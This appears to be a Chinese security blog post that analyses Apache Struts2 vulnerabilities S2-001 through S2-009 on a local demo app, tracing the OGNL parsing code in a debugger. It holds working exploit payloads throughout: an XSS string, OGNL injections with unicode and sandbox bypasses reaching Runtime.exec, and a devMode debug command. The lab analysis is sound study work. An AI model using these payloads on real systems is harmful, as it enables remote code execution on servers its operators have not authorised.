struts2漏洞1-9
struts2 漏洞
简介
Struts2 是一款 JavaWeb MVC (Model-View-Controller) 框架,同时它具有如下特性:
- POJO (Plain Old Java Object) Action: 控制器(Action)是简单的 Java 类,不需要实现特定的接口或继承特定的类(尽管可以继承
ActionSupport来获得便利方法),这使得测试更加容易。 - 拦截器 (Interceptors): Struts 2 的核心。它们提供了一种面向切面编程 (AOP) 的方式来处理横切关注点,如日志记录、验证、文件上传、安全检查、数据绑定等。请求在到达 Action 之前和之后都会经过一系列配置好的拦截器。
- OGNL (Object-Graph Navigation Language): 强大的表达式语言,用于在视图层(如 JSP)访问和操作
ValueStack中的数据,以及进行类型转换和数据绑定。(这也是 Struts 2 历史上许多严重安全漏洞的根源) - ValueStack: 每个请求的核心数据存储区域。它是一个栈结构,用于存放 Action 实例、模型对象以及其他上下文数据,使得 OGNL 可以方便地访问这些数据。
- 结果类型 (Result Types): 定义了 Action 执行完毕后如何处理响应。常见的类型包括
dispatcher(转发到 JSP/HTML),redirect(重定向到另一个 URL),stream(返回文件流),json(返回 JSON 数据) 等。结果是可配置和可扩展的。 - 标签库 (Tag Library): 提供了一套丰富的 JSP 标签(如
<s:property>,<s:textfield>,<s:iterator>),用于简化视图开发,特别是与ValueStack和 OGNL 的集成。 - 插件架构 (Plugins): 允许方便地集成第三方功能,如 Spring 集成、REST 支持、JSON 支持、Convention 插件(约定优于配置)等。
- 基于 XML 或注解的配置: 主要通过
struts.xml文件来配置 Action 映射、拦截器栈、结果等,但也支持使用注解进行配置(需要 Convention 插件)。
漏洞项目:https://github.com/xhycccc/Struts2-Vuln-Demo
S2-001
漏洞影响版本:WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8
我们直接看入门的代码吧,以 s2-001 漏洞为例,了解一下 strut2 的运行机制和漏洞的产生原因
在 idea 中创建一个 webapp 的 maven 项目,引入依赖
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.0.8</version>
</dependency>
修改 web.xml,添加过滤器和映射路径
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
修改 src/main/webapp/index.jsp 内容,利用 struts2 的标签 创建表单
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%--引入标签库--%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>
接着在 webapp 下 创建 hello.jsp 文件,用来做结果跳转页面
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-hello</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>
在 main/java 下 创建 com.lingx5.loginAction 的 java 类文件,用来处理请求
struts2 适用 action 来处理请求的,功能类似于 servlet
package com.lingx5.action;
public class LoginAction {
private String username = null;
private String password = null;
public String getUsername() {
return this.username;
}
public String getPassword() {
return this.password;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public String login() {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equals("admin")) && (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}
有处理请求的 action 和 发送请求的页面 index.jsp 了,怎么把他俩给映射起来呢?
创建 src/main/resources/struts.xml 配置文件,用来把 action 和 jsp 做映射
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="default" extends="struts-default">
<!-- action的name属性是访问路径, method指拦截请求后要执行的方法-->
<action name="login" class="com.lingx5.action.LoginAction" method="login">
<!-- result是 根据action类的返回值 跳转不同的 jsp页面-->
<result name="success">/hello.jsp</result>
<result name="error">/index.jsp</result>
</action>
</package>
</struts>
整体的项目结构
我们启动项目
可以登录一下 输入 admin:admin

登录成功,现在这个漏洞项目就搭建好了
说一下具体的执行流程
用户访问 index.jsp 首页,输入 username 和 password 点击 submit 提交,表单设置的 action="login" , struts2 会去从 struts.xml 文件需找 login 的 action ,执行 LoginAction 对应的方法 根据返回结果 返回 struts.xml 中 对应的 jsp 页面
这就是最基本的访问流程
漏洞分析
我们在 password 输入 %{2+2}
点击 submit 后
执行了
我们看看他是如何解析执行的
我们收来来到 struts2 的标签解析的方法,在定义的标签上,ctrl 左键

看到是由 org.apache.struts2.views.jsp.ui.TextFieldTag 做的解析

我们来看一下这个类,勾上继承,可以查看继承的父类方法
发现他继承了 ComponentTagSupport#doStartTag 和 ComponentTagSupport#doEndTag 方法,顾名思义这两个方法肯定就是标签开始解析,和标签结束解析的方法

我们在 doEndTag 下断点

同样在 password 的标签发送 %{2+2} 这个 ognl 表达式
我们拦截道 password 的标签

步入这个 end 方法,来到 UIBean#end 方法,调用了 evaluateParams() 方法,名字也可以看出来 评估参数

步入,一直往下走,我们会来到 findValue() 方法,解析 ognl 表达式

我们进入看看这个方法是如何解析 ognl 表达式的

我们步入 TextParseUtil.translateVariables() 方法,可以看到这个方法写了一个死循环,也就是说只要是 ognl 表达式,他就会循环解析,他还没有做过滤,这就给我们 ognl 注入提供了条件

我们现在还是 %{password} ,肯定是要先去获取我们在输入框里 传的值:%{2+2} 继续往下走
看到经过处理后 从 stack 中 找 password 对应的值了

一步步跟,看到他 在 ognl.ASTProperty#getValueBody 方法中 拿到了 password 对应的字段值

调用栈
getValueBody:93, ASTProperty (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
getValue:333, Ognl (ognl)
getValue:194, OgnlUtil (com.opensymphony.xwork2.util)
findValue:238, OgnlValueStack (com.opensymphony.xwork2.util)
translateVariables:122, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:71, TextParseUtil (com.opensymphony.xwork2.util)
findValue:313, Component (org.apache.struts2.components)
evaluateParams:723, UIBean (org.apache.struts2.components)
end:481, UIBean (org.apache.struts2.components)
doEndTag:43, ComponentTagSupport (org.apache.struts2.views.jsp)
我们拿到 %{2+2} 了
一路弹栈,来到最初的 TextParseUtil#translateVariables 的死循环解析中,下次循环就开始解析 %{2+2} 这个 ognl 表达式了

看到在 ognl.Ognl#getValue() 方法中 “2+2” 这个表达式已经被抽象成 ASTAdd 这个语法树了, 此时执行 getValue() 方法,就是执行加法了
这里抽象语法树的类型有很多,每种都有自己的实现,以完成 ognl 不同的功能
![]()

跟如

注意 ognl 对执行过得表达式,会进行缓存,尝试重启服务清理缓存就会跟到这里了
然后就是回显,利用 UIBean 这个类,添加 name value 进行回显
一路弹栈,回到 UIBean 执行 addParameter()

然后调用 mergeTemplate 完成回显

当然,我们也可以利用 ognl 表达式,主动解析回显,利用 HttpServletResponse 写回页面即可
%{
#writer=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#writer.println(@java.lang.System@getProperty("user.dir")),
#writer.flush(),
#writer.close()
}
成功回显
s2-002
Struts2-002 是一个 XSS 漏洞,该漏洞发生在 s:url 和 s:a 标签中,当标签的属性 includeParams=all 时,即可触发该漏洞。
漏洞影响版本: Struts 2.0.0 - Struts 2.1.8.1 。更多详情可参考官方通告:
https://cwiki.apache.org/confluence/display/WW/S2-002
启动项目
访问
http://localhost:8080/S002/login.action?<script>alert(1)</script>
触发 xss
漏洞分析
依然会在 ComponentTagSupport#doStartTag 和 doEndTag 解析标签,我们在 doStartTag 打断点,看他是如何造成 xss 的
我们是从 urlTag 类,执行的父类方法的 doStartTag

会调用 start 我们步入,会看到为什么漏洞要求 includeParams 为 all

我们步入 mergeRequestParameters,看到它获取到了我们传入的 payload,并存放在了 parameters 表中

下面会执行 includeGetParameters,我们同样会调用到 mergeRequestParameters

存放了一个进行 url 编码的 payload

最后的 includeExtraParameters 为 null
之后就来到了 doStartTag 的 return

- 0:对应 Tag.SKIP_BODY,表示跳过标签主体,不对其进行处理。
- 1:对应 Tag.EVAL_BODY_INCLUDE,表示评估标签主体并将其直接包含到输出中。
- 2:对应 BodyTag.EVAL_BODY_BUFFERED,表示评估标签主体并将其缓冲起来,以便后续处理(仅适用于实现了 BodyTag 接口的标签)。
我们接着看 doEndTag 是如何进行处理的
我们回跳转到 org.apache.struts2.components.URL#end 方法 会调用 determineActionURL 来获取 url

result 会包含 payload,然后 调用 writer.write 写回页面,

浏览器页面解析 触发 xss
执行完成之后

修复
后续的修复也挺水的
result = link.toString(); result.indexOf("<script>") > 0; result = result.replaceAll("<script>", "script"))
这个可以轻松 双写绕过 <<script>>
S2-003
这是又爆出来的 RCE 漏洞,这个漏洞主要是参数名使用了 ognl 解析
影响版本:Struts 2.0.0 - Struts 2.1.8.1
参考链接:S2-003 - Apache Struts 2 Wiki - Apache Software Foundation
这个要在 tomcat6 下,而且不需要 struts 标签,只需要一个 action 类即可
主要是 struts2 在 调用 com.opensymphony.xwork2.interceptor.ParametersInterceptor 拦截器时,解析参数名的 ognl 导致的
漏洞分析
我们先来看看 ParametersInterceptor 这个类,做了那些事情
首先关注的肯定就是 setParameters 这个主要来解析我们参数的方法
参数解析
但这并不是我们的入口函数,入口是拦截器的 ParametersInterceptor#intercept 这个方法,他经过判断调用了 setParameters 后边在讲
首先给个正常的参数值 lingx5 = 1
protected void setParameters(Object action, ValueStack stack, Map parameters) {
ParameterNameAware parameterNameAware = action instanceof ParameterNameAware ? (ParameterNameAware)action : null;
Map params = null;
if (this.ordered) {
params = new TreeMap(this.getOrderedComparator());
params.putAll(parameters);
} else {
params = new TreeMap(parameters);
}
for(Map.Entry entry : params.entrySet()) {
// 把参数名 转为字符串,赋给name变量
String name = entry.getKey().toString();
boolean acceptableName = this.acceptableName(name) && (parameterNameAware == null || parameterNameAware.acceptableParameterName(name));
if (acceptableName) {
// 获得传递参数的值,也就是name的值
Object value = entry.getValue();
try {
// 把名字和值,存放到 stack中,我们要去看,这个方法是如何执行的
stack.setValue(name, value);
} catch (RuntimeException e) {
if (devMode) {
String developerNotification = LocalizedTextUtil.findText(ParametersInterceptor.class, "devmode.notification", ActionContext.getContext().getLocale(), "Developer Notification:\n{0}", new Object[]{e.getMessage()});
LOG.error(developerNotification);
if (action instanceof ValidationAware) {
((ValidationAware)action).addActionMessage(developerNotification);
}
} else {
LOG.error("ParametersInterceptor - [setParameters]: Unexpected Exception catched: " + e.getMessage());
}
}
}
}
}

来到 stack.setValue(name, value) 我们步入,发现他会调用 OgnlUtil#setValue 方法

继续跟入,发现他会去封装一个 Node 节点,这就有意思了
我们之前也讲到过,ognl 有很多的 node 节点,也就是 AST 的一些实现
![]()
每种都有不同的功能

正常情况下,会封装一个 ASTProperty 的节点

执行他的 setValueBody 方法

我们知道了这些,就可以看看 有没有一个 抽象语法书的 setValueBody 方法 是可以直接解析 ognl 表达式的
ASTEval 分析
最终找到了 ASTEval 这个节点的 setValueBody 方法
我们来看一下他是如何解析的
protected void setValueBody(OgnlContext context, Object target, Object value) throws OgnlException {
// 取第一个 children 的值并计算,给到 expr
Object expr = super. children[0].getValue(context, target);
Object previousRoot = context.getRoot();
// 取第二个 children 的值并计算,给到 target
target = super.children[1].getValue(context, target);
// 判断 expr 是否为 node 类型,如果不是,则调用 Ognl.parseExpression() 尝试进行解析,解析的结果强转为 node 类型;
Node node = expr instanceof Node ? (Node)expr : (Node)Ognl.parseExpression(expr.toString());
try {
context.setRoot(target);
// 最后调用 setValue
node.setValue(context, target, value);
} finally {
context.setRoot(previousRoot);
}
}
通过上述代码逻辑,我们不难发现我们的参数形式应该是 (one)(two) 这种,且 children [0] 也就是 (one) 如果是 ognl 表达式的话,就会被 Ognl.parseExpression 解析
我们尝试传入 payload 参数 (one)(two) , 看到抽象成了,ASTEval 这种节点

看到进入了 ASTEval 的 setValueBody 方法

那我们尝试传入 ognl 表达式,看看能不能正常解析呢?
('@java.lang.Runtime@getRuntime().exec(\'calc\')')('aaa')
并没有执行,我们调试一下看看

调用栈
callStaticMethod:98, XWorkMethodAccessor (com.opensymphony.xwork2.util)
callStaticMethod:847, OgnlRuntime (ognl)
getValueBody:65, ASTStaticMethod (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
setValueBody:168, ASTChain (ognl)
evaluateSetValueBody:177, SimpleNode (ognl)
setValue:246, SimpleNode (ognl)
setValueBody:75, ASTEval (ognl)
evaluateSetValueBody:177, SimpleNode (ognl)
setValue:246, SimpleNode (ognl)
setValue:476, Ognl (ognl)
setValue:186, OgnlUtil (com.opensymphony.xwork2.util)
setValue:158, OgnlValueStack (com.opensymphony.xwork2.util)
setValue:146, OgnlValueStack (com.opensymphony.xwork2.util)
setParameters:187, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
intercept:153, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
这主要是因为 在 ParametersInterceptor#intercept 函数中,设置了 DenyMethodExecution 为 true

unicode 符号绕过
我们得用 ognl 表达式,把 xwork.MethodAccessor.denyMethodExecution 这个的值改为 false
(#context['xwork2.ognl.OgnlRuntime.denyMethodExecution']=false)('aaa')
url编码后
(%23context%5b%27xwork2.ognl.OgnlRuntime.denyMethodExecution%27%5d%3dfalse)(%27aaa%27)

看一下这个实现
protected boolean acceptableName(String name) {
return name.indexOf(61) == -1 && name.indexOf(44) == -1 && name.indexOf(35) == -1 && name.indexOf(58) == -1 && !this.isExcluded(name);
}
对应的 ascii 码分别为 =、,、# 、:
这部分的绕过
由于在
OgnlParserTokenManager方法中使用了ognl.JavaCharStream#readChar()方法,在读到\\u的情况下,会继续读入 4 个字符,并将它们转换为 char,因此 OGNL 表达式实际上支持了 unicode 编码,这就绕过了之前正则或者字符串判断的限制。
我们传入 unicode 编码的 payload
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(aaa)
当我们传入了表达式时,会去执行 complie

可以去看一下他的处理

调用 topLevelExpression

内部有处理 unicode 编码的逻辑,其主要逻辑在 JavaCharStream 中,在 OgnlParser 的构造函数中,就初始化了 JavaCharStream

我们在 javaCharStream 的 readChar 函数下断点

在 294 行看到处理 unicode 编码的逻辑

经过 complie 解析后 return o 的值

之后到 ASTEval 的 setValueBody

双层 ASTEval 绕过
ASTAssign(代表赋值操作,如user.name = 'New Value')
但是我们就两个 (one)(two) 的时候,会抛出异常

这是因为 我们 在 ASTEval 的 setValueBody 中,children [0] 和 children [1] 获取完了之后,调用了 ASTAssign 的 setValue 方法,而 ASTAssign 本身就没有 setValue 方法,他只实现了 getValueBody 方法,也就是说 ASTAssign 这个节点是不允许有 setValue 操作的
package ognl;
class ASTAssign extends SimpleNode {
public ASTAssign(int id) {
super(id);
}
public ASTAssign(OgnlParser p, int id) {
super(p, id);
}
protected Object getValueBody(OgnlContext context, Object source) throws OgnlException {
Object result = super.children[1].getValue(context, source);
super.children[0].setValue(context, source, result);
return result;
}
public String toString() {
return super.children[0] + " = " + super.children[1];
}
}
这本身也是见名知意的事情,ASTAssign 的语义是“执行赋值”,而不是“被赋值”。
通过 getValueBody 执行赋值:
求值右边(children [1]),得到一个值。
将这个值设置到左边(children [0])上。
返回右边的值作为整个表达式的结果。
那我们要怎么去让他执行到 getValueBody 呢?
答案也很简单,我们让 ASTEval 的 children [0] 作为一个新的 ASTEval,这时候 children [0].getValueBody() 方法就会去执行 ASTEval 的 getValueBody 方法,进而可以执行到 ASTAssign 的 getValueBody 方法
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(aaa)(aaa)
看到 在 ASTEval 的 setValueBody 中 children [0] 作为了一个新的 ASTEval 对象,并且可以执行 getValue 方法

跟一下
ognl.SimpleNode#getValue => ognl.SimpleNode#evaluateGetValueBody => ASTEval#getValueBody
可以看到最终到了 ASTAssign 的 getValue 方法

ASTAssign 也没有实现 getValue 方法,经过父类的中转,最终来到了它的 getValueBody 方法

再往下走一步

最终 payload
经过上面的分析,我们的 payload 来到了
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(aaa)(aaa)&('@java.lang.Runtime@getRuntime().exec(\'calc\')')('aaa')
我们打进去看看

由于 TreeMap 的特性,我们会先去解析静态变量 @ 我们得在 Runtime 之前给他加个赋值语句, 加上 = 号 之后,别忘了再次 把 ASTEval 双写,不然还是会 在 ASTAssign 出报错的
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(lingx5)(lingx5)&('\u0023lingx5\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(lingx5)(lingx5)
看到先执行
('\u0023context ['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(lingx5)(lingx5)

在执行
('\u0023lingx5\u003d@java.lang.Runtime@getRuntime().exec('calc')')(lingx5)(lingx5)

来到了命令执行拦截的地方,可以看到 这次我们的 e 为 false ,就会去调用方法了

去掉断点,运行程序,成功执行

S2-005
官方在 struts2-core 2.0.12 对 S2-003 进行了修复,S2-005 实际上就是 S2-003 的绕过
影响版本:Struts 2.0.0 - Struts 2.1.8.1
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-005
看到 setParameters 方法 新增了一个 ClearableValueStack 和 MemberAccessValueStack 接口,来增加安全性

这两个安全接口由 com.opensymphony.xwork2.util.OgnlValueStack 实现

漏洞分析
我们可以用 S3-003 的 payload 来打一下,看看有哪些限制
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(lingx5)(lingx5)&('\u0023lingx5\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(lingx5)(lingx5)
看到在 ParametersInterceptor#setParameters 方法 初始化的 stack,新添了一些安全的参数

看到第一个参数执行完成,还是可以成功修改 xwork.MethodAccessor.denyMethodExecution 的值的
('\u0023context ['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(lingx5)(lingx5)

这就说明了,我们的 ognl 表达式 还是可以被解析执行的。那么我们的方法并没有执行,肯定是新加入的某个参数判断,阻止了 我们的恶意命令执行,我们只需要把它找出来,用 ognl 表达式修改为对应可以执行的参数即可
我们跟一下这个第二句命令执行的操作,看看是哪里做了限制
('\u0023lingx5\u003d@java.lang.Runtime@getRuntime().exec('calc')')(lingx5)(lingx5)
通过调试发现在 SecurityMemberAccess#isAcceptableProperty 的判断,没有通过

程序的调用站,拿出来看一下
isAcceptableProperty:71, SecurityMemberAccess (com.opensymphony.xwork2.util)
isAccessible:67, SecurityMemberAccess (com.opensymphony.xwork2.util)
isMethodAccessible:1283, OgnlRuntime (ognl)
callAppropriateMethod:796, OgnlRuntime (ognl)
callStaticMethod:48, ObjectMethodAccessor (ognl)
callStaticMethod:99, XWorkMethodAccessor (com.opensymphony.xwork2.util)
callStaticMethod:833, OgnlRuntime (ognl)
getValueBody:65, ASTStaticMethod (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
getValueBody:109, ASTChain (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
getValueBody:49, ASTAssign (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
getValueBody:58, ASTEval (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
setValueBody:67, ASTEval (ognl)
evaluateSetValueBody:177, SimpleNode (ognl)
setValue:246, SimpleNode (ognl)
setValue:476, Ognl (ognl)
setValue:186, OgnlUtil (com.opensymphony.xwork2.util)
setValue:178, OgnlValueStack (com.opensymphony.xwork2.util)
setValue:166, OgnlValueStack (com.opensymphony.xwork2.util)
setParameters:230, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
doIntercept:176, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
我们来看一下 isAcceptableProperty 这个方法
protected boolean isAcceptableProperty(String name) {
if (isAccepted(name) && !isExcluded(name)) {
return true;
}
return false;
}
// isAccepted 方法的判断逻辑
protected boolean isAccepted(String paramName) {
if (!this.acceptProperties.isEmpty()) {
for (Pattern pattern : acceptProperties) {
Matcher matcher = pattern.matcher(paramName);
if (matcher.matches()) {
return true;
}
}
//no match, but acceptedParams is not empty
return false;
}
//empty acceptedParams
return true;
}
// isExcluded 方法的判断逻辑
protected boolean isExcluded(String paramName) {
if (!this.excludeProperties.isEmpty()) {
for (Pattern pattern : excludeProperties) {
Matcher matcher = pattern.matcher(paramName);
if (matcher.matches()) {
return true;
}
}
}
return false;
}
以上逻辑不难发现只有当 isAccepted() 返回 true,isExcluded() 返回 false 的情况下,才能调用方法
我们接着往下调试,看到 isAccepted() 返回 true

而在 isExcluded() 方法中,因为 paramName 为空 抛出了异常,所以就没有放回 false

所以我们只需要用 ognl 表达式把 excludeProperties 设置为空,就可以绕过这个异常抛出,从而返回 false
我们看看 excludeProperties 在哪里?怎么设置
在刚开始创建的 newStack 中
我们跟一下 newStack 的创建过程 发现调用了 ognl.Ognl#createDefaultContext 方法 来创建 context 上下文

封转完成 是 给到了 OgnlContext 的 memberAccess 属性,看到它继承了 Map

那么我们的程序是如何来获取的呢?
最终在 OgnlContext 的 get 方法中找到了对应的键 _memberAccess 会返回 memberAccess

payload
所以就构造出来可以绕过的 payload
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(lingx5)(lingx5)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(lingx5)(lingx5)&('\u0023lingx5\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(lingx5)(lingx5)
看到当我们用 Runtime 执行方法时,excludeProperties 为空,成功绕过

执行成功

当然为了 payload 的通用性,我们还可以一并把 acceptProperties 设为空集,allowStaticMethodAccess 设置为 true
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(lingx5)(lingx5)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(lingx5)(lingx5)&('\u0023_memberAccess.acceptProperties\u003d@java.util.Collections@EMPTY_SET')(lingx5)(lingx5)&('\u0023_memberAccess.allowStaticMethodAccess \u003dtrue')(lingx5)(lingx5)&('\u0023lingx5\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(lingx5)(lingx5)

S2-007
影响版本:Struts 2.0.0 - Struts 2.2.3
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-007
在我们向表单中输入数据时,比如 int age 我们给它输入一个 aaa 的字符串。这时他转换不成 int 类型,struts2 就会调用 com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor 拦截器来处理这个错误,并且将用户输入取出插入到当前值栈中,二次解析我们的输入,从而造成了表达式注入
漏洞分析
我们向 为 int 类型的 age 字段 输入 aaaa
在 ConversionErrorInterceptor#intercept() 下断点,跟一下看他如何处理的

执行 getOverrideExpr 生成一个表达式,用于覆盖默认的转换结果。

看到它给我们的值做了 字符串拼接,用 ‘ ’ 进行包裹

然后保存到 context 中

最终在 doEndTag 进行解析的时候,执行 overrides.get(expr) 获取 ‘ ’ 包裹的错误值

看一下调用栈
findValue:258, OgnlValueStack (com.opensymphony.xwork2.util)
translateVariables:149, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:100, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:73, TextParseUtil (com.opensymphony.xwork2.util)
findValue:313, Component (org.apache.struts2.components)
evaluateParams:723, UIBean (org.apache.struts2.components)
end:481, UIBean (org.apache.struts2.components)
doEndTag:43, ComponentTagSupport (org.apache.struts2.views.jsp)
getValue 后续的解析就和之前差不多了,注意 AST 表达式的生成和调用方法就可以
payload
我们可以使用 '+ +' 去闭合 getOverrideExpr 添加的 '
'+ (@java.lang.Runtime@getRuntime().exec('calc')) +'
成功执行
可能有点疑惑的就是,我们在 S2-003 的时候 不是还要添加 #context ["xwork.MethodAccessor.denyMethodExecution"] = false 吗?为什么这个不添加,也可以执行呢?
答案其实也很简单,因为 S2-003 是在参数拦截器造成的问题,而在拦截器的方法中(ParametersInterceptor#intercept) 显示的把 denyMethodExecution 设置为了 true,但是在执行完成之后的 finally 代码快中 又设置为了 false
而我们的 S2-007 并不是在 ParametersInterceptor 这里 解析的,而是在 doEndTag 方法中 解析
在 Struts 2.0.12 以后 添加了 allowStaticMethodAccess 这个属性,可以用以下 payload
' + (#_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc'))+ '
亲测 在 2.0.12 中不存在此漏洞, struts2 会给强转类型一个默认值 不会给 overrides 填值
而在 后一个版本(2.0.14)中 又可以利用了
调试了一下 发现,在 2.0.14 中 的 SecurityMemberAccess#isExcluded 当 paramName 为 null 时不在抛出异常,也就是第一个 payload 和 第二个 payload 都可以用 而且 不用像 S2-005 的绕过 一样,把 excludeProperties 设置为空


注意
如果在 2.0.12 之前版本 只能用
'+ (@java.lang.Runtime@getRuntime().exec('calc')) +'否则的话会报错
ognl.NoSuchPropertyException: ognl.DefaultMemberAccess.allowStaticMethodAccess
在之后更推荐
' + (#_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc'))+ '因为攻击目标可能手动把 allowStaticMethodAccess 设置为 false
S2-008
影响版本:Struts 2.0.0 - Struts 2.3.17
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-008
为防止攻击者在参数中调用任意方法,标志 xwork.MethodAccessor.denyMethodExecution 默认设置为 true,SecurityMemberAccess 字段 allowStaticMethodAccess 默认设置为 false。此外,自 Struts 2.2.1.1 起,为防止访问上下文变量,在 ParameterInterceptor 中应用了改进的参数名称字符白名单:
acceptedParamNames = "[a-zA-Z0-9\.][()_']+";
- Remote command execution in Struts <= 2.2.3 (
ExceptionDelegator)- Remote command execution in Struts <= 2.3.1 (
CookieInterceptor)- Arbitrary File Overwrite in Struts <= 2.3.1 (
ParameterInterceptor)- Remote command execution in Struts <= 2.3.17 (
DebuggingInterceptor)
其中 第一条就是说的 S2-007 漏洞,利用错误的强转来实现 RCE
3、ParameterInterceptor 这个就是由于 acceptedParamNames 的正则过滤没有过滤掉 括号 符号,从而可以调用一些构造方法,比如 FileWriter 可以创建 文件或者 把已有的文件制空
4、DebuggingInterceptor 这其实可以看作 Struts 的一个特性,因为 debug 模式下,本身就赋予了命令执行的权力
<constant name="struts.devMode" value="true" />
debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22calc%22%29)
不过这种只能算是一种安全风险,感觉算不上是漏洞,而是 struts2 的 debug 特性
debug 有 三种模式 在 org.apache.struts2.interceptor.debugging.DebuggingInterceptor#intercept 中可以看到



command 的主要逻辑 就是 获得了 expression 参数,并执行 stack.findValue(cmd) 从而解析了恶意的 ognl 表达式
else if ("command".equals(type)) {
/**
* 从会话中获取之前保存的ValueStack对象。
* 如果会话中不存在,则从当前ActionContext中获取ValueStack对象,并将其保存到会话中。
*/
ValueStack stack = (ValueStack)ctx.getSession().get("org.apache.struts2.interceptor.debugging.VALUE_STACK");
if (stack == null) {
stack = (ValueStack)ctx.get("com.opensymphony.xwork2.util.ValueStack.ValueStack");
ctx.getSession().put("org.apache.struts2.interceptor.debugging.VALUE_STACK", stack);
}
/**
* 从请求参数中获取要执行的表达式。
* 设置请求属性,禁用装饰器。
* 设置响应的内容类型为纯文本。
*/
String cmd = this.getParameter("expression");
ServletActionContext.getRequest().setAttribute("decorator", "none");
HttpServletResponse res = ServletActionContext.getResponse();
res.setContentType("text/plain");
try {
PrintWriter writer = ServletActionContext.getResponse().getWriter();
// 调用 findValue 执行 ognl 表达式
writer.print(stack.findValue(cmd));
writer.close();
} catch (IOException ex) {
ex.printStackTrace();
}
S2-009
影响版本:Struts 2.0.0-Struts 2.3.1.1
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-009
S2-009 是利用参数值进行绕过,因为 acceptedParamNames 只对参数名称加强了正则表达式,而未对值进行严格的过滤,在 ParametersInterceptor 中 会将其添加到 stack 中,我们利用表达式取出值,进行二次解析,就可以实现命令执行
其实本质还是对 S2-003 的绕过,使用了如下正则
private String acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";
我们可以使用 top['foo'](0) 来访问 action 中的参数,并解析执行
foo=(#context["xwork.MethodAccessor.denyMethodExecution"]=new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec("calc"))(lingx5)&top['foo'](0)
url 编码后
